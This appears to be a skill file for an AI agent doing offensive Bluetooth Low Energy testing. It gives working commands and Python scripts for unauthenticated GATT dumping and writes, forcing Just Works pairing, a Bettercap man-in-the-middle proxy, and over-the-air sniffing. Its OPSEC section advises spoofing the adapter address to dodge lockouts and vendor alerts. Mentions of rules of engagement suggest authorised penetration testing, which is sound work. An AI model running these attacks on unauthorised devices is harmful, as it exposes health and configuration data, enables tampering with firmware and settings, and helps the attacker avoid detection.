| name | ble-gatt |
| description | GATT service/characteristic enumeration on BLE peripherals, unauthenticated read/write exploitation, pairing downgrade to Just Works, and over-the-air sniffing with Sniffle or Ubertooth. Covers firmware update channels, hidden debug services, and missing auth on sensitive characteristics. |
| allowed-tools | Bash Read Write |
| metadata | {"subdomain":"iot","when_to_use":"BLE, GATT, Bluetooth Low Energy, characteristic, pairing, Just Works, Ubertooth, Sniffle, bleak, gatttool, nRF Connect, notify, indicate, write without response","tags":"ble, gatt, bluetooth, pairing, sniffing, iot, embedded","mitre_attack":"T1040, T1557, T1190, T1078"} |
BLE GATT Enumeration and Exploitation
BLE devices routinely expose sensitive GATT characteristics without
authentication or encryption. Common wins: OTA firmware update channels,
PIN entry characteristics, device configuration, and health sensor data
— all accessible to any central within radio range.
Prerequisites
- Linux host with a BLE adapter (internal or USB: CSR 4.0 dongle, Bluefruit LE,
or the eval board of the target SoC itself).
- Tools:
bluez (>=5.62), gatttool, bluetoothctl, hcitool,
python3 -m pip install bleak (cross-platform async BLE library).
- Passive sniffer (optional but high-value): Sniffle (TI CC1352 / CC26x2 dongle
- firmware) or Ubertooth One.
- Mobile: nRF Connect (Android/iOS) — fastest visual GATT browser; LightBlue on iOS.
Phase 1: Passive Discovery
sudo hcitool lescan --duplicates 2>/dev/null | tee /tmp/ble_scan.txt
sudo btmgmt find -l 2>/dev/null | grep -E "addr|name|uuid"
Using bleak for a structured scan:
import asyncio
from bleak import BleakScanner
async def scan():
devices = await BleakScanner.discover(timeout=10.0)
for d in devices:
print(f"{d.address} RSSI={d.rssi:4d} {d.name or '<anon>'} {list(d.metadata.get('uuids', []))}")
asyncio.run(scan())
Phase 2: Full GATT Enumeration (unauthenticated)
gatttool -b <TARGET_MAC> -I
> connect
> primary
> characteristics
> char-desc
gatttool -b <TARGET_MAC> --primary
gatttool -b <TARGET_MAC> --characteristics
Bleak full dump (preferred — handles BLE 5 extended):
import asyncio
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
async def dump_gatt():
async with BleakClient(TARGET) as client:
for svc in client.services:
print(f"\nService: {svc.uuid} ({svc.description})")
for char in svc.characteristics:
print(f" Char: {char.uuid} props={char.properties} handle=0x{char.handle:04x}")
if "read" in char.properties:
try:
val = await client.read_gatt_char(char.uuid)
print(f" Value: {val.hex()} ({val!r})")
except Exception as e:
print(f" Read error: {e}")
asyncio.run(dump_gatt())
Phase 3: Unauthenticated Write / Command Injection
gatttool -b <TARGET_MAC> --char-write-req -a 0x002a -n 0100
async def write_char(client, uuid, payload: bytes):
props = client.services.get_characteristic(uuid).properties
if "write" in props:
await client.write_gatt_char(uuid, payload, response=True)
elif "write-without-response" in props:
await client.write_gatt_char(uuid, payload, response=False)
print(f"Wrote {payload.hex()} to {uuid}")
Common attack targets by characteristic UUID:
| UUID (16-bit) | Description | Attack |
|---|
| 0x2A19 | Battery Level | Read, establish baseline |
| 0x2A24 | Model Number | Info disclosure |
| 0x2A9D | Weight Scale | Sensor data w/o auth |
| Vendor 0xFF01-0xFF0F | OTA / DFU channel | Write firmware image |
| Vendor 0xFFF1 | Generic config | Write arbitrary config |
Phase 4: Pairing Downgrade — Just Works
Just Works pairing provides no MITM protection. Force it when the device
advertises IO capabilities that allow stronger pairing (Passkey, OOB) but
accepts a downgrade.
bluetoothctl
agent NoInputNoOutput
default-agent
scan on
pair <TARGET_MAC>
trust <TARGET_MAC>
connect <TARGET_MAC>
After pairing, re-run GATT dump — some characteristics become readable only
after bonding even when using Just Works.
MITM with Bettercap (BLE proxy)
sudo bettercap -eval "ble.recon on; events.stream on"
sudo bettercap -eval "ble.enum <TARGET_MAC>"
sudo bettercap -eval "ble.write <TARGET_MAC> <char-uuid> <hex-payload>"
Phase 5: Passive Sniffing with Sniffle
python3 sniffle/sniffle_host.py -s /dev/ttyACM0 -a -l <TARGET_MAC> | tee /tmp/ble_capture.pcap
wireshark /tmp/ble_capture.pcap
Ubertooth One — broadband BLE capture (less channel-following accuracy):
ubertooth-btle -f -A 37 -c /tmp/ble_ubertooth.pcap
ubertooth-btle -f -t <TARGET_MAC> -c /tmp/ble_ubertooth.pcap
Evidence
Save all GATT dumps and captures:
EVIDENCE="/workspace/evidence/ble-gatt/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
python3 dump_gatt.py > "$EVIDENCE/gatt_dump.json"
sha256sum "$EVIDENCE/gatt_dump.json" >> "$EVIDENCE/sha256.txt"
cp /tmp/ble_capture.pcap "$EVIDENCE/"
sha256sum "$EVIDENCE/ble_capture.pcap" >> "$EVIDENCE/sha256.txt"
Knowledge graph node for a found credential/key:
kg_add_node(
kind="credential",
label=f"BLE GATT unauthenticated access {target_mac}",
props={
"key": f"ble-gatt::{target_mac}",
"secret_type": "ble_characteristic",
"mac": target_mac,
"characteristic_uuid": char_uuid,
"raw_value": value_hex,
"pairing_method": "just_works_or_none",
"source": "bleak+gatttool",
},
)
OPSEC Notes
- BLE connection requests are logged by the peripheral's pairing database;
repeated failed pairings may trigger a lockout or vendor alert.
- Just Works pairing is visible to the peripheral; if it keeps a bond list,
a stale address may flag re-pairing attempts.
- Use
bdaddr (hciconfig bdaddr spoof) or the adapter's random-address mode
(hciconfig hci0 leadv 3) to rotate your BD_ADDR between attempts.
- Sniffle is passive — zero RF footprint beyond receiving. Prefer it when
the RoE explicitly prohibits active probing.
- OTA/DFU channels: if you can write a firmware image, gate the test on explicit
operator approval and a recovery plan (jtag/uart fallback) for the device.
References